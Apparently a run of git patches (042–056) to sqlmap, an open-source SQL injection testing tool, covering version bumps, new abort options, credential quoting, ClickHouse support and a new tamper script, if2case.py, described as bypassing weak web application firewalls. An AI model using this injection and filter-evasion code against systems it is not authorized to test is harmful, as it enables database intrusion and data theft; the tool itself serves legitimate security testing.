Date: Mon, 2 Jan 2023 23:39:27 +0100
Subject: [PATCH 042/524] Trivy minor version bump

---
 lib/core/settings.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/core/settings.py b/lib/core/settings.py
index 3223a88e4ec..325c5d005d4 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7"
+VERSION = "1.7.1.1"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

From 96adc7c098751a35457713dd2a1186f3c218fb76 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 9 Jan 2023 15:34:08 +0100
Subject: [PATCH 043/524] Fixes #5285

---
 lib/core/option.py   | 3 +++
 lib/core/settings.py | 2 +-
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/lib/core/option.py b/lib/core/option.py
index 46583762048..3015ee0de8d 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -2655,6 +2655,9 @@ def _basicOptionValidation():
             raise SqlmapSyntaxException(errMsg)
 
     if conf.paramExclude:
+        if re.search(r"\A\w+,", conf.paramExclude):
+            conf.paramExclude = r"\A(%s)\Z" % ('|'.join(re.escape(_) for _ in conf.paramExclude.split(',')))
+
         try:
             re.compile(conf.paramExclude)
         except Exception as ex:
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 325c5d005d4..e9dcba68f08 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.1"
+VERSION = "1.7.1.2"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

From de527f1814a0d6f87eaf4c2b13423c4357b7f679 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 9 Jan 2023 15:35:21 +0100
Subject: [PATCH 044/524] Minor update for #5285

---
 lib/core/option.py   | 2 +-
 lib/core/settings.py | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/core/option.py b/lib/core/option.py
index 3015ee0de8d..3bf0367ee34 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -2656,7 +2656,7 @@ def _basicOptionValidation():
 
     if conf.paramExclude:
         if re.search(r"\A\w+,", conf.paramExclude):
-            conf.paramExclude = r"\A(%s)\Z" % ('|'.join(re.escape(_) for _ in conf.paramExclude.split(',')))
+            conf.paramExclude = r"\A(%s)\Z" % ('|'.join(re.escape(_).strip() for _ in conf.paramExclude.split(',')))
 
         try:
             re.compile(conf.paramExclude)
diff --git a/lib/core/settings.py b/lib/core/settings.py
index e9dcba68f08..dc743943f37 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.2"
+VERSION = "1.7.1.3"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

From b0a1efaa446f5599c492f444ef939aa4ee220bbd Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 9 Jan 2023 17:12:26 +0100
Subject: [PATCH 045/524] Minor update for #5279

---
 lib/core/agent.py    | 2 +-
 lib/core/settings.py | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/core/agent.py b/lib/core/agent.py
index 001486101f2..554441791f5 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -489,7 +489,7 @@ def nullAndCastField(self, field):
         if field and Backend.getIdentifiedDbms():
             rootQuery = queries[Backend.getIdentifiedDbms()]
 
-            if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
+            if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and getTechnique() in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION) and Backend.getIdentifiedDbms() == DBMS.MSSQL):
                 nulledCastedField = field
             else:
                 if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
diff --git a/lib/core/settings.py b/lib/core/settings.py
index dc743943f37..32e05e4d6dc 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.3"
+VERSION = "1.7.1.4"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

From 1f83076e70efd899af05be981c935a07a26865d5 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Sun, 15 Jan 2023 18:07:44 +0100
Subject: [PATCH 046/524] Fixes #5287

---
 lib/core/agent.py    | 3 +++
 lib/core/settings.py | 2 +-
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/lib/core/agent.py b/lib/core/agent.py
index 554441791f5..3a09c44508d 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -596,6 +596,9 @@ def getFields(self, query):
         if not _:
             fieldsSelectFrom = None
 
+        if re.search(r"\bWHERE\b.+(MIN|MAX)", query, re.I):
+            fieldsMinMaxstr = None
+
         fieldsToCastStr = fieldsNoSelect
 
         if fieldsSubstr:
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 32e05e4d6dc..516641ba2ba 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.4"
+VERSION = "1.7.1.5"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

From d0d4cf4f6df3bf6d92c7322b4098125e4da792ab Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 23 Jan 2023 16:05:46 +0100
Subject: [PATCH 047/524] Minor update regarding #5297

---
 lib/core/settings.py    | 2 +-
 lib/utils/sqlalchemy.py | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/core/settings.py b/lib/core/settings.py
index 516641ba2ba..05c2618dbf5 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.5"
+VERSION = "1.7.1.6"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py
index a051756a184..2d5b2e1611f 100644
--- a/lib/utils/sqlalchemy.py
+++ b/lib/utils/sqlalchemy.py
@@ -21,7 +21,7 @@
     if hasattr(module, "dialects"):
         _sqlalchemy = module
         warnings.simplefilter(action="ignore", category=_sqlalchemy.exc.SAWarning)
-except ImportError:
+except:
     pass
 finally:
     sys.path = _path

From 1be7a5aea88fabe4da716dc0193074b58698034d Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 23 Jan 2023 16:21:46 +0100
Subject: [PATCH 048/524] Fixes #4870

---
 lib/core/settings.py    | 2 +-
 lib/utils/sqlalchemy.py | 7 +++++++
 2 files changed, 8 insertions(+), 1 deletion(-)

diff --git a/lib/core/settings.py b/lib/core/settings.py
index 05c2618dbf5..9c99f41a6a4 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.6"
+VERSION = "1.7.1.7"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py
index 2d5b2e1611f..73789ba51f5 100644
--- a/lib/utils/sqlalchemy.py
+++ b/lib/utils/sqlalchemy.py
@@ -39,6 +39,7 @@
 from lib.core.exception import SqlmapMissingDependence
 from plugins.generic.connector import Connector as GenericConnector
 from thirdparty import six
+from thirdparty.six.moves import urllib as _urllib
 
 def getSafeExString(ex, encoding=None):  # Cross-referenced function
     raise NotImplementedError
@@ -50,6 +51,12 @@ def __init__(self, dialect=None):
         self.dialect = dialect
         self.address = conf.direct
 
+        if conf.dbmsUser:
+            self.address = self.address.replace("%s:" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser))
+
+        if conf.dbmsPass:
+            self.address = self.address.replace(":%s@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass))
+
         if self.dialect:
             self.address = re.sub(r"\A.+://", "%s://" % self.dialect, self.address)
 

From c8eea24ac42af9a20e0ab7aaf625f4e390d955d1 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 23 Jan 2023 16:40:41 +0100
Subject: [PATCH 049/524] Implements #5295

---
 lib/core/optiondict.py |  1 +
 lib/core/settings.py   |  2 +-
 lib/parse/cmdline.py   |  3 +++
 lib/request/inject.py  | 13 +++++++++----
 sqlmap.conf            |  3 +++
 5 files changed, 17 insertions(+), 5 deletions(-)

diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py
index 48343a494ac..c28eca013e9 100644
--- a/lib/core/optiondict.py
+++ b/lib/core/optiondict.py
@@ -204,6 +204,7 @@
 
     "General": {
         "trafficFile": "string",
+        "abortOnEmpty": "boolean",
         "answers": "string",
         "batch": "boolean",
         "base64Parameter": "string",
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 9c99f41a6a4..624caf33e9e 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.7"
+VERSION = "1.7.1.8"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index b6bb36fb4b4..383fba066ec 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -628,6 +628,9 @@ def cmdLineParser(argv=None):
         general.add_argument("-t", dest="trafficFile",
             help="Log all HTTP traffic into a textual file")
 
+        general.add_argument("--abort-on-empty", dest="abortOnEmpty", action="store_true",
+            help="Abort data retrieval on empty results")
+
         general.add_argument("--answers", dest="answers",
             help="Set predefined answers (e.g. \"quit=N,follow=N\")")
 
diff --git a/lib/request/inject.py b/lib/request/inject.py
index a5287831677..039ef1be3f6 100644
--- a/lib/request/inject.py
+++ b/lib/request/inject.py
@@ -501,10 +501,15 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
     kb.safeCharEncode = False
 
     if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted:
-        warnMsg = "in case of continuous data retrieval problems you are advised to try "
-        warnMsg += "a switch '--no-cast' "
-        warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else ""
-        singleTimeWarnMessage(warnMsg)
+        if conf.abortOnEmpty:
+            errMsg = "aborting due to empty data retrieval"
+            logger.critical(errMsg)
+            raise SystemExit
+        else:
+            warnMsg = "in case of continuous data retrieval problems you are advised to try "
+            warnMsg += "a switch '--no-cast' "
+            warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else ""
+            singleTimeWarnMessage(warnMsg)
 
     # Dirty patch (MSSQL --binary-fields with 0x31003200...)
     if Backend.isDbms(DBMS.MSSQL) and conf.binaryFields:
diff --git a/sqlmap.conf b/sqlmap.conf
index ecab1a5c5ed..71a12017c53 100644
--- a/sqlmap.conf
+++ b/sqlmap.conf
@@ -702,6 +702,9 @@ sessionFile =
 # Log all HTTP traffic into a textual file.
 trafficFile = 
 
+# Abort data retrieval on empty results.
+abortOnEmpty = False
+
 # Set predefined answers (e.g. "quit=N,follow=N").
 answers =
 

From a7b59243e205ea54af7c1e90f7ec18d273a4096a Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Mon, 23 Jan 2023 18:04:47 +0100
Subject: [PATCH 050/524] One more update regarding #4870

---
 lib/core/settings.py    | 2 +-
 lib/utils/sqlalchemy.py | 2 ++
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/lib/core/settings.py b/lib/core/settings.py
index 624caf33e9e..ef5b581d8f1 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.8"
+VERSION = "1.7.1.9"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py
index 73789ba51f5..f1bc0d99d60 100644
--- a/lib/utils/sqlalchemy.py
+++ b/lib/utils/sqlalchemy.py
@@ -52,9 +52,11 @@ def __init__(self, dialect=None):
         self.address = conf.direct
 
         if conf.dbmsUser:
+            self.address = self.address.replace("'%s':" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser))
             self.address = self.address.replace("%s:" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser))
 
         if conf.dbmsPass:
+            self.address = self.address.replace(":'%s'@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass))
             self.address = self.address.replace(":%s@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass))
 
         if self.dialect:

From 633638932216fb56ee8cefb475e4828fe5608c8a Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Tue, 24 Jan 2023 12:00:23 +0100
Subject: [PATCH 051/524] Another update for #5295

---
 lib/core/option.py     | 11 ++++++++++-
 lib/core/optiondict.py |  1 +
 lib/core/settings.py   |  2 +-
 lib/parse/cmdline.py   |  5 ++++-
 lib/request/connect.py | 10 ++++++++++
 sqlmap.conf            |  6 +++++-
 6 files changed, 31 insertions(+), 4 deletions(-)

diff --git a/lib/core/option.py b/lib/core/option.py
index 3bf0367ee34..72d834d07cc 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -1696,11 +1696,20 @@ def _cleanupOptions():
             try:
                 conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)]
             except ValueError:
-                errMsg = "options '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD
+                errMsg = "option '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD
                 raise SqlmapSyntaxException(errMsg)
     else:
         conf.ignoreCode = []
 
+    if conf.abortCode:
+        try:
+            conf.abortCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.abortCode)]
+        except ValueError:
+            errMsg = "option '--abort-code' should contain a list of integer values"
+            raise SqlmapSyntaxException(errMsg)
+    else:
+        conf.abortCode = []
+
     if conf.paramFilter:
         conf.paramFilter = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.paramFilter.upper())]
     else:
diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py
index c28eca013e9..761ee99558b 100644
--- a/lib/core/optiondict.py
+++ b/lib/core/optiondict.py
@@ -39,6 +39,7 @@
         "authType": "string",
         "authCred": "string",
         "authFile": "string",
+        "abortCode": "string",
         "ignoreCode": "string",
         "ignoreProxy": "boolean",
         "ignoreRedirects": "boolean",
diff --git a/lib/core/settings.py b/lib/core/settings.py
index ef5b581d8f1..f20420b073f 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.9"
+VERSION = "1.7.1.10"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index 383fba066ec..e16e8223adf 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -201,8 +201,11 @@ def cmdLineParser(argv=None):
         request.add_argument("--auth-file", dest="authFile",
             help="HTTP authentication PEM cert/private key file")
 
+        request.add_argument("--abort-code", dest="abortCode",
+            help="Abort on (problematic) HTTP error code(s) (e.g. 401)")
+
         request.add_argument("--ignore-code", dest="ignoreCode",
-            help="Ignore (problematic) HTTP error code (e.g. 401)")
+            help="Ignore (problematic) HTTP error code(s) (e.g. 401)")
 
         request.add_argument("--ignore-proxy", dest="ignoreProxy", action="store_true",
             help="Ignore system default proxy settings")
diff --git a/lib/request/connect.py b/lib/request/connect.py
index ffc06ad9652..6c27a267eae 100644
--- a/lib/request/connect.py
+++ b/lib/request/connect.py
@@ -767,6 +767,11 @@ class _(dict):
             if not multipart:
                 logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
 
+            if code in conf.abortCode:
+                errMsg = "aborting due to detected HTTP code '%d'" % code
+                singleTimeLogMessage(errMsg, logging.CRITICAL)
+                raise SystemExit
+
             if ex.code not in (conf.ignoreCode or []):
                 if ex.code == _http_client.UNAUTHORIZED:
                     errMsg = "not authorized, try to provide right HTTP "
@@ -921,6 +926,11 @@ class _(dict):
                     errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
                     raise SqlmapGenericException(errMsg)
 
+            if code in conf.abortCode:
+                errMsg = "aborting due to detected HTTP code '%d'" % code
+                singleTimeLogMessage(errMsg, logging.CRITICAL)
+                raise SystemExit
+
             threadData.lastPage = page
             threadData.lastCode = code
 
diff --git a/sqlmap.conf b/sqlmap.conf
index 71a12017c53..895b601155f 100644
--- a/sqlmap.conf
+++ b/sqlmap.conf
@@ -101,8 +101,12 @@ authCred =
 # Syntax: key_file
 authFile = 
 
+# Abort on (problematic) HTTP error code (e.g. 401).
+# Valid: string
+abortCode =
+
 # Ignore (problematic) HTTP error code (e.g. 401).
-# Valid: integer
+# Valid: string
 ignoreCode =
 
 # Ignore system default proxy settings.

From fdbc323aa61750eb4f0259fdb3fffebde5ddb01b Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Tue, 24 Jan 2023 12:08:02 +0100
Subject: [PATCH 052/524] One more update for #5295

---
 lib/core/settings.py   | 2 +-
 lib/request/connect.py | 9 +++++----
 2 files changed, 6 insertions(+), 5 deletions(-)

diff --git a/lib/core/settings.py b/lib/core/settings.py
index f20420b073f..e4de9fcb438 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.10"
+VERSION = "1.7.1.11"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/request/connect.py b/lib/request/connect.py
index 6c27a267eae..da1bacad8b9 100644
--- a/lib/request/connect.py
+++ b/lib/request/connect.py
@@ -926,10 +926,11 @@ class _(dict):
                     errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
                     raise SqlmapGenericException(errMsg)
 
-            if code in conf.abortCode:
-                errMsg = "aborting due to detected HTTP code '%d'" % code
-                singleTimeLogMessage(errMsg, logging.CRITICAL)
-                raise SystemExit
+            for _ in (getattr(conn, "redcode", None), code):
+                if _ is not None and _ in conf.abortCode:
+                    errMsg = "aborting due to detected HTTP code '%d'" % _
+                    singleTimeLogMessage(errMsg, logging.CRITICAL)
+                    raise SystemExit
 
             threadData.lastPage = page
             threadData.lastCode = code

From fbfed061b89bcfa33268a3702922dbd7938ee7cb Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Sat, 28 Jan 2023 21:50:26 +0100
Subject: [PATCH 053/524] Fixes #5300

---
 lib/core/settings.py | 2 +-
 sqlmap.py            | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/core/settings.py b/lib/core/settings.py
index e4de9fcb438..93a8da31ede 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.11"
+VERSION = "1.7.1.12"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/sqlmap.py b/sqlmap.py
index 33a0cae0e7e..44252f38aba 100755
--- a/sqlmap.py
+++ b/sqlmap.py
@@ -64,7 +64,6 @@
     from lib.core.common import setPaths
     from lib.core.common import weAreFrozen
     from lib.core.convert import getUnicode
-    from lib.core.common import MKSTEMP_PREFIX
     from lib.core.common import setColor
     from lib.core.common import unhandledExceptionMessage
     from lib.core.compat import LooseVersion
@@ -73,6 +72,7 @@
     from lib.core.data import conf
     from lib.core.data import kb
     from lib.core.datatype import OrderedSet
+    from lib.core.enums import MKSTEMP_PREFIX
     from lib.core.exception import SqlmapBaseException
     from lib.core.exception import SqlmapShellQuitException
     from lib.core.exception import SqlmapSilentQuitException

From 45852431754c95be3c6fc03b8de990bb13deaef6 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Wed, 1 Feb 2023 13:53:19 +0100
Subject: [PATCH 054/524] Implements tamper script if2case (#5301)

---
 lib/core/settings.py |  2 +-
 tamper/if2case.py    | 67 ++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 68 insertions(+), 1 deletion(-)
 create mode 100644 tamper/if2case.py

diff --git a/lib/core/settings.py b/lib/core/settings.py
index 93a8da31ede..54160a19557 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.12"
+VERSION = "1.7.2.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/tamper/if2case.py b/tamper/if2case.py
new file mode 100644
index 00000000000..9e82459fa8b
--- /dev/null
+++ b/tamper/if2case.py
@@ -0,0 +1,67 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+from lib.core.compat import xrange
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Replaces instances like 'IF(A, B, C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END' counterpart
+
+    Requirement:
+        * MySQL
+        * SQLite (possibly)
+        * SAP MaxDB (possibly)
+
+    Tested against:
+        * MySQL 5.0 and 5.5
+
+    Notes:
+        * Useful to bypass very weak and bespoke web application firewalls
+          that filter the IF() functions
+
+    >>> tamper('IF(1, 2, 3)')
+    'CASE WHEN (1) THEN (2) ELSE (3) END'
+    >>> tamper('SELECT IF((1=1), (SELECT "foo"), NULL)')
+    'SELECT CASE WHEN (1=1) THEN (SELECT "foo") ELSE (NULL) END'
+    """
+
+    if payload and payload.find("IF") > -1:
+        while payload.find("IF(") > -1:
+            index = payload.find("IF(")
+            depth = 1
+            commas, end = [], None
+
+            for i in xrange(index + len("IF("), len(payload)):
+                if depth == 1 and payload[i] == ',':
+                    commas.append(i)
+
+                elif depth == 1 and payload[i] == ')':
+                    end = i
+                    break
+
+                elif payload[i] == '(':
+                    depth += 1
+
+                elif payload[i] == ')':
+                    depth -= 1
+
+            if len(commas) == 2 and end:
+                a = payload[index + len("IF("):commas[0]].strip("()")
+                b = payload[commas[0] + 1:commas[1]].lstrip().strip("()")
+                c = payload[commas[1] + 1:end].lstrip().strip("()")
+                newVal = "CASE WHEN (%s) THEN (%s) ELSE (%s) END" % (a, b, c)
+                payload = payload[:index] + newVal + payload[end + 1:]
+            else:
+                break
+
+    return payload

From c58383e6849cb839eb6ce329a347a441feef682e Mon Sep 17 00:00:00 2001
From: Paul Werther 
Date: Fri, 3 Feb 2023 22:54:35 +0100
Subject: [PATCH 055/524] add performance_schema to mysql prediction file
 (#5305)

---
 data/txt/common-outputs.txt | 1 +
 1 file changed, 1 insertion(+)

diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt
index 60bdf5edb26..56084d9147e 100644
--- a/data/txt/common-outputs.txt
+++ b/data/txt/common-outputs.txt
@@ -399,6 +399,7 @@ XDBWEBSERVICES
 
 # MySQL
 information_schema
+performance_schema
 mysql
 phpmyadmin
 

From 8962e152ac2038f970c100c3d4ace5a9b695a614 Mon Sep 17 00:00:00 2001
From: Alexis Danizan <51817778+0x4144@users.noreply.github.com>
Date: Fri, 3 Feb 2023 23:10:12 +0100
Subject: [PATCH 056/524] Add Clickhouse support (#5229)

Co-authored-by: pentest <>
---
 data/xml/errors.xml                    |  4 ++
 data/xml/payloads/error_based.xml      | 20 ++++++
 data/xml/payloads/inline_query.xml     | 20 ++++++
 data/xml/payloads/time_blind.xml       | 20 ++++++
 data/xml/queries.xml                   | 69 +++++++++++++++++++
 lib/controller/handler.py              |  4 ++
 lib/core/dicts.py                      |  3 +
 lib/core/enums.py                      |  2 +
 lib/core/settings.py                   |  6 +-
 lib/utils/deps.py                      |  2 +
 plugins/dbms/clickhouse/__init__.py    | 23 +++++++
 plugins/dbms/clickhouse/connector.py   | 14 ++++
 plugins/dbms/clickhouse/enumeration.py | 12 ++++
 plugins/dbms/clickhouse/filesystem.py  | 11 ++++
 plugins/dbms/clickhouse/fingerprint.py | 91 ++++++++++++++++++++++++++
 plugins/dbms/clickhouse/syntax.py      | 18 +++++
 plugins/dbms/clickhouse/takeover.py    | 11 ++++
 plugins/generic/databases.py           | 12 ++--
 plugins/generic/entries.py             |  2 +-
 19 files changed, 335 insertions(+), 9 deletions(-)
 create mode 100755 plugins/dbms/clickhouse/__init__.py
 create mode 100755 plugins/dbms/clickhouse/connector.py
 create mode 100755 plugins/dbms/clickhouse/enumeration.py
 create mode 100755 plugins/dbms/clickhouse/filesystem.py
 create mode 100755 plugins/dbms/clickhouse/fingerprint.py
 create mode 100755 plugins/dbms/clickhouse/syntax.py
 create mode 100755 plugins/dbms/clickhouse/takeover.py

diff --git a/data/xml/errors.xml b/data/xml/errors.xml
index 59ae1e8e22a..b78dd91c649 100644
--- a/data/xml/errors.xml
+++ b/data/xml/errors.xml
@@ -211,6 +211,10 @@
         
     
 
+    
+        
+    
+
     
         
     
diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml
index f9505522f38..6cc089d09d6 100644
